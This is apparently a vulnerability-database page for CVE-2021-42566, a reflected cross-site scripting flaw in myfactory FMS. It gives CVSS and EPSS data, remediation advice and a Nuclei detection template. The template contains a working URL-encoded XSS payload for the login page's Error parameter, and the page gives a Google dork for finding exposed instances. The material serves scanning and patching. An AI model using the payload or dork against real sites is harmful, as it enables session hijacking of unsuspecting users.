SecurityContext

CVE-2021-42566: myfactory FMS - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.06438
  • Epss percentile: 0.93888
  • Cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*

Metadata

  • Google-query: inurl:ie50/system/ intitle:"myfactory"
  • Max-request: 1
  • Product: fms
  • Vendor: myfactory
  • Verified: yes

Products

ProductIndexedUrl
myfactory:fmsyes/v1/products/myfactory/fms

Labels

  • Name: myfactory.FMS - Reflected XSS
  • Impact: Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Update to version 7.1-912 or later, and sanitize Error parameter inputs.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs to craft a malicious URL
  • Labels source: projectdiscovery
  • From cve: CVE-2021-42566

```yaml

id: CVE-2021-42566

info:

name: myfactory FMS - Cross-Site Scripting

author: madrobot,daffainfo

severity: medium

description: |

myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Upgrade to the latest version to mitigate this vulnerability.

reference:

- https://www.redteam-pentesting.de/advisories/rt-sa-2021-001

- https://nvd.nist.gov/vuln/detail/CVE-2021-42566

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2021-42566

cwe-id: CWE-79

epss-score: 0.06438

epss-percentile: 0.93888

cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: myfactory

product: fms

google-query: inurl:ie50/system/ intitle:"myfactory"

tags: cve,cve2021,myfactory,xss,vuln

http:

- method: GET

path:

- '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F'

matchers-condition: and

matchers:

- type: word

part: body

words:

- ';alert(document.domain);'

- 'name="txtUID"'

- 'function mOnLoad()'

condition: and

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4a0a0047304502203a782aae0eb8f4d82f1eb00512a5cb6aca7e39adacecd69e4f252959945e4797022100a36fecda7de26695fa171c9b4364703a939ed393bf8e5bbb598d0ee9098b889d:922c64590222798bb761d5b6d8e72950

```